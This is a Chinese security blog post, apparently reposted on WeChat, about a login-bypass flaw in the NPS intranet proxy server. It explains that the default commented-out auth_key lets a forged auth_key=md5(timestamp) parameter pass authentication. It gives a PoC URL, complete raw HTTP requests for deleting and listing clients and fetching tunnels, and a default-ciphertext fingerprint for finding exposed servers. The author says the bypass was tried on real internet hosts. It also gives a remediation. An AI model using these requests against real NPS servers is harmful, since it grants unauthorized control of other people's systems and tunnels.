查看原文
其他

NPS反制之绕过登陆验证

听风安全 2023-11-28

The following article is from 藏剑安全 Author li1u

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

NPS- 一款轻量级、高性能、功能强大的内网穿透代理服务器

1.前言

看了师傅的一个文章,感觉挺有意思的,尝试记录下来,结尾有"惊吓"

GitHub下载NPS的releases:https://github.com/ehang-io/nps/releases/tag/v0.26.10

为了本地测试使用,只下载Windows的server端和NPS的源码到本地。

内网穿透代理工具诸如frp、nps、 reGeorg等,各有千秋吧,我个人用的nps比较多。

2.NPS

解压nps之后,会有一个conf和web文件夹、以及一个nps的可执行程序

conf:可配置文件,可修改ip、端口、登陆密码等
web:nps中web管理系统的静态资源文件

直接进入nps目录,运行nps

在配置文件conf中,有IP、端口、以及默认用户名口令admin/123,(默认用户名口令一定要改),默认端口8080也建议更改。

直接访问nps后台,输入admin/123登陆后台

进入后台首页:

客户端模块,配置隧道、在npc端机器运行命令即可"上线"

3.默认配置-绕过登陆验证

正常情况下,NPS需要登陆之后才可进行后续操作,但是NPS中有默认配置,假如未修改默认配置的话,我们就可以绕过身份验证访问后台。

打开NPS的源码文件,在web目录下的controllers目录(和php有些类似)

在base.go文件中,第36行代码处

条件判断的大概意思就是如果md5key值不为空并且当前时间戳与给定的timestamp之间的差小于等于20,并且通过对configKey和timestamp进行加密得到的结果与md5key相等,结果就是true

如果auth不为真,那就302跳转到登陆页,如果为真,那就作为模板数据传递。

整块代码的意思就是从请求中获取auth_key和timestamp、从配置文件中获取auth_key,并赋值给configKey

但是在nps.conf中,auth_key是注释掉的:

所以我们只需要在请求中添加auth_key与timestamp,即可绕过身份验证(登陆成功跳转index/index)

POC:

index/index?auth_key=xxx&timestamp=xxx

通俗易懂的就是auth_key=md5(timestamp)

编写脚本获取POC:

携带POC直接绕过登陆验证尝试访问后台(只有20S的时间,过期需重新生成)

4.NPS反制

绕过登陆验证之后,可以在后台进行任意操作

查看客户端列表:

修改配置:

来个有意思的的:

后台所有的功能都可以携带auth_key和timestamp进行操作

删除客户端:

删除id为2的客户端:

POST /client/del?auth_key=b57ab4e636cbaa4dda1a0256ae597080&timestamp=1685604329 HTTP/1.1
Host: xxx
Content-Length: 4
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=2

查询客户端列表:

POST /client/list?auth_key=83a737f7d232957e7a7821ff6091f149&timestamp=1685604434 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

search=&order=asc&offset=0&limit=10

本地搭建的,npc端未设置,仅作测试用,师傅们想进行更多的操作,手动抓包测试即可。

5.分析

在nps中,路径下加auth/getauthkey可获取到加密后的crypt_auth_key

这个加密后的crypt_auth_key就是默认的授权密钥,也就是加密后的密文,加密方式是AES算法的CBC模式

在nps.conf中,auth_crypt_key(密钥)是16位的,且默认的auth_crypt_key(密钥)是1234567812345678,所以经过AES加密之后的密文就是crypt_auth_key=5acabcf051cd55abca03d18294422e01,所以访问auth/getauthkey获取到的crypt_auth_key就是AES加密的密文,密钥就是auth_crypt_key的值(可随意更改、满足16位即可)

有POC有针对于这个默认的授权密钥的,判断返回包里内容是否存在5acabcf051cd55abca03d18294422e01

当时觉得单判断默认的crypt_auth_key是不严谨的,因为绕过登陆验证归根究底的原因是auth_key默认被注释掉了,所以说条件语句中只要携带了auth_key与timestamp两个参数并且满足条件就可以绕过登录认证。

"crypt_auth_key""5acabcf051cd55abca03d18294422e01"
#auth_key=test
auth_crypt_key =1234567812345678
crypt_auth_key密文是由明文test经过AES的CBC模式进行加密得到的,加密密钥是1234567812345678

(1)那么如果auth_key没有被注释,继续看看会怎么样

crypt_auth_key已经不再是默认的5acabcf051cd55abca03d18294422e01,注释去掉之后的密文变成了04acf026285da15817ac9a072c1259ac,不存在绕过登陆验证,携带着POC访问后台,页面跳转到登录页

(2) 如果auth_key被注释了,修改加密密钥auth_crypt_key,看看会怎么样:

密文同样改变,因为加密密钥改变,密文肯定变,尝试绕过登陆验证

成功绕过登陆验证,获取客户端列表🐓队。

综上所述:单说NPS啊,不提加密向量不一样什么的导致的加密结果不一样

加密密钥如果没被修改,auth_key=test有注释,那么密文一定是:5acabcf051cd55abca03d18294422e01 ---登陆绕过存在
加密密钥如果没被修改,auth_key=test取消注释,那么密文一定是:04acf026285da15817ac9a072c1259ac ---登陆绕过不存在
如果密钥被修改,auth_key=test有注释,那么密文一定不是上述这两个 ---登陆绕过存在
如果密钥被修改,auth_key=test取消注释,那么登陆绕过肯定不存在

所以说,POC还是有道理的,因为如果加密密钥是默认的1234567812345678,auth_key=test有注释,那么密文一定是5acabcf051cd55abca03d18294422e01,那么登陆绕过就一定存在

正反推

修复建议:去掉#auth_key=test的注释即可,想下载源代码重新编译的也可以,密钥也可以看个人情况修改什么的。

来一组互联网案例,用afrog编写POC(探测密文是5acabcf051cd55abca03d18294422e01),也就是说加密密钥未修改,auth_key=test有注释,一定存在登陆绕过的互联网案例

在来一组成功绕过登陆进入后台的互联网案例,挺多的:

第二种反制手段就是注册,在nps.conf中,默认关闭注册功能以及注册用户登陆功能

假如开启注册的话:

首页就会出现注册按钮(默认情况下是没有的):

尝试注册登陆:

成功进入后台:需将allow_user_login=true,意为允许注册用户进行登陆,否则登录是不成功的

虽然登陆成功,但是权限会少很多,起码可以修改(较登陆绕过鸡肋一点):

以上就是个人的分析思路,如有不足,请见谅。

最后,你懂的(仅仅只做验证,并未进行敏感操作!!!):

别找了,你想要的在下边:

POST /index/gettunnel?auth_key=5d712b45490f8ac1f630f9cce0a5e173&timestamp=1685638945 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

offset=0&limit=10&type=&client_id=3&search=

不可错过的往期推荐哦


区分Spring与Struts2框架的几种新方法

SRC挖掘葵花宝典

记一次“不讲武德”的短信验证码绕过

SRC漏洞挖掘之看不见的羊毛

供应链投毒事件调查:一个免杀爱好者沦为“肉鸡”的全过程!

【蓝队篇】Weblogic反序列化攻击不依赖日志溯源攻击时间

从钓鱼邮件溯源到反制上线

记一次渗透中的Password加密爆破过程

达梦数据库手工注入笔记

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存